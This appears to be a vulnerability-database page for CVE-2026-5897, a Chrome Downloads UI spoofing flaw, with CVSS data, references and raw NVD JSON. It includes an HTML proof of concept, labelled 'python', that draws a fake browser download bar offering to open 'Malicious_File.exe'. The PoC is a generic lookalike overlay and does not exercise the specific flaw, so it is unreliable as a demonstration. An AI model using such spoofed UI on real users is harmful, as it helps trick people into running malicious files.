CVE-2026-5897

Description

Incorrect security UI in Downloads in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-5897: Chrome Downloads UI Spoofing
  This PoC demonstrates how a crafted HTML page can mimic the download UI.
  Test environment: Google Chrome < 147.0.7727.55
-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-5897 PoC</title>
    <style>
        body {
            font-family: sans-serif;
            margin: 0;
            padding: 20px;
        }
        /* Container to position the fake UI */
        .spoof-container {
            position: fixed;
            bottom: 0;
            left: 0;
            width: 100%;
            background-color: #f1f3f4;
            border-top: 1px solid #dadce0;
            padding: 12px 24px;
            box-shadow: 0 -2px 10px rgba(0,0,0,0.1);
            display: flex;
            align-items: center;
            justify-content: space-between;
            z-index: 9999;
        }
        .file-info {
            display: flex;
            align-items: center;
            gap: 12px;
        }
        .icon {
            width: 24px;
            height: 24px;
            background-color: #5f6368;
            border-radius: 4px;
        }
        .text {
            font-size: 14px;
            color: #202124;
        }
        .actions button {
            background: #1a73e8;
            color: white;
            border: none;
            padding: 6px 16px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
        }
    </style>
</head>
<body>
    <h1>UI Spoofing Demonstration</h1>
    <p>Please observe the bottom of the screen. The UI below is rendered via HTML/CSS, not the actual browser download bar.</p>

    <!-- The Spoofed Download Bar -->
    <div class="spoof-container">
        <div class="file-info">
            <div class="icon"></div>
            <div class="text">Malicious_File.exe - Finished downloading</div>
        </div>
        <div class="actions">
            <button onclick="alert('User clicked spoofed button. Attack logic executed.')">Open File</button>
        </div>
    </div>

    <script>
        // Wait for user gesture as required by the vulnerability description
        document.addEventListener('click', () => {
            console.log('User interaction detected. Spoofing context active.');
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5897
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5897
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5897/
[4] VulDB https://vuldb.com/cve/CVE-2026-5897
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/419921726

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5897", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:29.597", "lastModified": "2026-04-13T21:17:16.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Downloads in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/419921726", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}